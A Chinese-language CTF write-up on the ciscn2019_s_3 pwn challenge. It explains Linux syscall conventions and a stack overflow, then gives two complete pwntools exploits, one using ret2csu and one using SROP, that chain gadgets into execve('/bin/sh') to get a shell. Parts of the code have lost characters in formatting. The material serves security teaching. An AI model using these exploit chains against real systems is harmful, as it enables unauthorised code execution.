1. 程式人生 > 其它 >ctf中關於syscall系統呼叫的簡單分析

ctf中關於syscall系統呼叫的簡單分析

0x01

我在動態除錯這個程式的時候,發現 syscall呼叫 系統函式 的過程很有趣,於是便記錄下來 希望對大家 能帶來些幫助,這裡 以 buu 平臺上的 ciscn2019s_3 為例,給大家詳細地分享以及分析下!

0x02

在開始之前,我們先來認真 學習下 read(),write()的 原型:

read():ssizet read(int fd,const void *buf,sizet nbytes); //fd 為要讀取的檔案的描述符 0//buf 為要讀取的資料的緩衝區地址//nbytes 為要讀取的資料的位元組數

//read() 函式會從 fd 檔案中讀取 nbytes 個位元組並儲存到緩衝區 buf,//成功則返回讀取到的位元組數(但遇到檔案結尾則返回0),失敗則返回 -1。

write()ssizet write(int fd,const void *buf,sizet nbytes); //fd 為要寫入的檔案的描述符 1//buf 為要寫入的資料的緩衝區地址//nbytes 為要寫入的資料的位元組數

//write() 函式會將緩衝區 buf 中的 nbytes 個位元組寫入檔案 fd,//成功則返回寫入的位元組數,失敗則返回 -1。

0x03

然後我們 再來簡單瞭解下 syscall !嗯。。。我們來看下維基百科的介紹吧

上面的是 32 位的系統呼叫,而64位系統的系統呼叫總體思想還是一樣的,當然也會有些不同, 32位與64位 系統呼叫的區別:1.傳參方式不同
2.系統呼叫號 不同3.呼叫方式 不同

32位:傳參方式:首先將系統呼叫號 傳入 eax,然後將引數 從左到右 依次存入 ebx,ecx,edx暫存器中,返回值存在eax暫存器呼叫號: sysread 的呼叫號 為 3 syswrite 的呼叫號 為 4 呼叫方式: 使用 int 80h 中斷進行系統呼叫

64位:傳參方式:首先將系統呼叫號 傳入 rax,然後將引數 從左到右 依次存入 rdi,rsi,rdx暫存器中,返回值存在rax暫存器呼叫號:sysread 的呼叫號 為 0 syswrite 的呼叫號 為 1
stubexecve 的呼叫號 為 59 stubrt_sigreturn 的呼叫號 為 15呼叫方式: 使用 syscall 進行系統呼叫

Ok,知道了上面這些知識,那麼做這題,其實相對來說 會容易些了!可能本來大佬們就沒覺得難,還求勿噴!基於網上 對這題的題解很少,我除錯了很長時間才弄懂!實在是太弱了!

點選實驗連結開始實操練習!

0x04

首先檢查檔案屬性和檔案開啟的保護有哪些:$file ciscns3ciscns3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=af580816080db5e4d1d93a271087adaee29028e8, not stripped

checksec ciscns3

  1. Arch: amd64-64-little
  2. RELRO: Partial RELRO
  3. Stack: No canary found
  4. NX: NX enabled
  5. PIE: No PIE (0x400000)

64位elf 檔案 只開啟 NX 保護

拖入ida 檢視main函式:int __cdecl main(int argc, const char *argv, const char *envp){return vuln();}

進去 vuln()函式:signed _int64 vuln(){signed _int64 result; // rax

_asm { syscall; LINUX - sysread }result = 1LL;_asm { syscall; LINUX - syswrite }return result;}

嗯。。。我們看 彙編程式碼!

這裡可以看到 彙編指令 的含義

將read的系統呼叫號 0 賦值給 rax

將 read的第一個引數0 (fd) 賦值給了 rdi

將 read的第二個引數 buf 賦值給了 rsi

將 read的第二個引數 buf 賦值給了 rdx

即系統呼叫了 read(0,&buf,0x400)

同理 緊接著 又呼叫了 write(1,&buf,0x30)

其中 buf 距離 rbp 0x10個位元組,存在棧溢位漏洞!

然後 經過 除錯 我還發現 當執行了 syscall這個彙編命令(即呼叫對應系統函式)後,在gdb上可以很清楚的 看到 其實執行完後 對暫存器的影響僅僅發生改變的是RAX,與RCX其中 RAX 會存著 對應系統函式 呼叫後返回的結果RCX 會存著當 syscall指令的下一條指令地址

這裡放個對比圖,可以看的更明白些!

syscall指令 執行前:

syscall指令 執行後:

當然,知道這些對於我們來說已經足夠了!

我們繼續來分析下 vuln函式 ,具體看 下圖中 註釋

這個題rsp和rbp一直在重合,直接ret,就相當於poprip,所以覆蓋rbp就可以劫持了程式執行流。

所以 這題 在最後 ret的 時候其實 就是 返回 到了rbp處 的地址了。這點很重要。

另外 程式中還有個 gadgets 函式

我們可以 發現這個函式裡面有兩個可以 gadget 即 控制 rax的 帶有 ret 的彙編指令片段

mov rax,0Fh // 0Fh 即15 而15 對應的是 sysrtsigreturn系統呼叫

mov rax,3Bh // 3Bh 即 59 而15 對應的是 sys_execve 系統呼叫

對於 以上兩個系統呼叫,我們可以有兩種 解題方法

第一種: 利用 ret2_libccsu_init 去構造 execve("/bin/sh",0,0) 來 getshell

第二種:直接srop 偽造 sigreturn frame 去 構造 execve("/bin/sh",0,0) 來 getshell

我們重點 就看第一種 了:因為是系統呼叫嘛,所以我們要想 構造 execve("/bin/sh",0,0) 需要

將 sys_execve 的呼叫號 59 賦值給 rax

將 第一個引數即字串 "/bin/sh"的地址 賦值給 rdi

將 第二個引數 0 賦值給 rsi

將 第三個引數 0 賦值給 rdx

但我們發現 我們沒有 足夠gadget 可以利用,於是我們想到了“x64 下的 _libccsu_init 中的 gadgets,這個函式是用來對 libc 進行初始化操作的,而一般的程式都會呼叫 libc 函式,所以這個函式一定會存在“

用下面這個命令去 找到它的位置

ROPgadget --binary ciscns3 --only 'pop|ret'

這裡需要注意 Ropgadget 有時總會 有一點顯示的不完整,我們通過它在ida中再去看下,loc400580和loc400596 就是上面說的 _libccsu_init gadget了。

0x05

我們最終 寫下 如下 exp:

coding:utf8

from pwn import *context.loglevel = 'debug'conn=process("./ciscns3")vulnaddr=0x4004EDmovraxexecvaddr=0x4004E2 #ida中檢視poprdiretaddr=0x4005a3 #ROPgadget --binary ciscns3 --only 'pop|ret'poprbxrbpr12r13r14r15retaddr=0x40059A_libccsuinitaddr=0x400580 # _libccsuinit gadget 首地址syscalladdr=0x400501 #ida中檢視

gdb.attach(conn,'b *0x40052C')

payload1='/bin/sh\x00'*2+p64(vuln_addr)conn.send(payload1)conn.recv(0x20)

binshaddr=u64(conn.recv(8))-280print hex(binshaddr) #解答 1

payload2='/bin/sh\x00'2+p64(pop_rbx_rbp_r12_r13_r14_r15_ret_addr)+p64(0)2+p64(binshaddr+0x50)+p64(0)*3payload2+=p64(_libccsuinitaddr)+p64(movraxexecvaddr)payload2+=p64(poprdiretaddr)+p64(binshaddr)+p64(syscall_addr) #解答 2

conn.send(payload2)

conn.interactive()

0x06

我們照著 exp 來分析下 :

解答1:因為最後我們構造payload的時候需要用到 /bin/sh 的地址,程式中又沒有,我們這裡選擇自己輸入,但是我們輸入到了 棧上,為了後面可以使用該 地址,我們需要首先將 /bin/sh 所在棧地址 洩露出來!我們gdb除錯,可以得知 在write輸出的 0x20位元組後 的 0x00007fffffffde08 是棧 上的地址 我們用它 減去 buf 所在棧上地址 即可得到 /bin/sh所在棧上地址 0x00007fffffffde08-0x7fffffffdcf0=280 反之 binshaddr=0x00007fffffffde08-280

解答2 :為什麼 要這樣構造 payload2?payload2='/bin/sh\x00'2+p64(pop_rbx_rbp_r12_r13_r14_r15_ret_addr)+p64(0)2+p64(binshaddr+0x50)+p64(0)*3payload2+=p64(_libccsuinitaddr)+p64(movraxexecvaddr)payload2+=p64(poprdiretaddr)+p64(binshaddr)+p64(syscall_addr)

看這個payload的第一行:

因為文章上面我已經分析過了

這個題rsp和rbp一直在重合,直接ret,就相當於poprip,所以覆蓋rbp就可以劫持了程式執行流。所以 這題 在最後 ret的 時候其實 就是 返回 到了rbp處 的地址了。於是 p64(poprbxrbpr12r13r14r15retaddr) 其實就相當於 是 在ret_addr處,

看圖,動態 來具體瞭解下 這個payload是怎麼運轉的我們跟進去

繼續 n 我們會返回到 _libccsuinitaddr 0x400580

如圖:將execve 的系統呼叫號 0x 3b 賦值給 rax

執行完後 會 ret 回到 add rbx,0x1這裡是很關鍵的一步,原本 rbp=rbx=0,然而 rbx在這 加了 1 與 rbp就不再相等 於是 會跳轉到0x400580執行

call QWORD PTR [r12+rbx*8] 便會 呼叫了 紅框之後的 poprdiret_addr 處的函gadget了

然後接著就是 把 binshaddr 賦值給了 rdi了這樣 execve("/bin/sh",0,0)就構造成功了,最後再執行syscall_addr便成功呼叫該函式 於是getshell 。

這裡如果 還理解不了的話 可以在ctfwiki學習下 棧溢位之 mediumrop

https://wiki.x10sec.org/pwn/stackoverflow/medium_rop/

0x07

第二種:直接srop 偽造 sigreturn frame 去 偽造 execve("/bin/sh",0,0) 來 getshell

具體就是 首先利用 mov rax, 0Fh 控制rax為 15,然後 呼叫 syscall 即執行了 sigreturn,我們 偽造 sigreturn frame 去 執行 execve("/bin/sh",0,0) 即可

#coding:utf8

from pwn import *

context(arch='amd64', os='linux', log_level = 'DEBUG')#這個注意 一定要說明 核心架構 不然報錯

#context.log_level = 'debug'

conn=process("./ciscn_s_3")

conn=remote('node3.buuoj.cn',26536)

vuln_addr=0x4004ED

mov_rax_sigreturn_addr=0x4004DA

syscall_addr=0x400501

#gdb.attach(conn,'b *0x40052C')

payload1='/bin/sh\x00'*2+p64(vuln_addr)

conn.send(payload1)

conn.recv(0x20)

bin_sh_addr=u64(conn.recv(8))-280

print hex(bin_sh_addr)

frame = SigreturnFrame()

frame.rax = constants.SYS_execve

frame.rdi = bin_sh_addr

frame.rsi = 0

frame.rdx = 0

#frame.rsp = bin_sh_addr

frame.rip = syscall_addr

payload2='/bin/sh\x00'*2+p64(mov_rax_sigreturn_addr)+p64(syscall_addr)+str(frame)

conn.send(payload2)

conn.interactive()

最後要注意的一點就是 寫 exp 時一定要 說明 核心架構 不然報錯!

context(arch='amd64', os='linux', log_level = 'DEBUG')#這個注意一定要說明核心架構 ,不然報錯。

合天智匯:合天網路靶場、網安實戰虛擬環境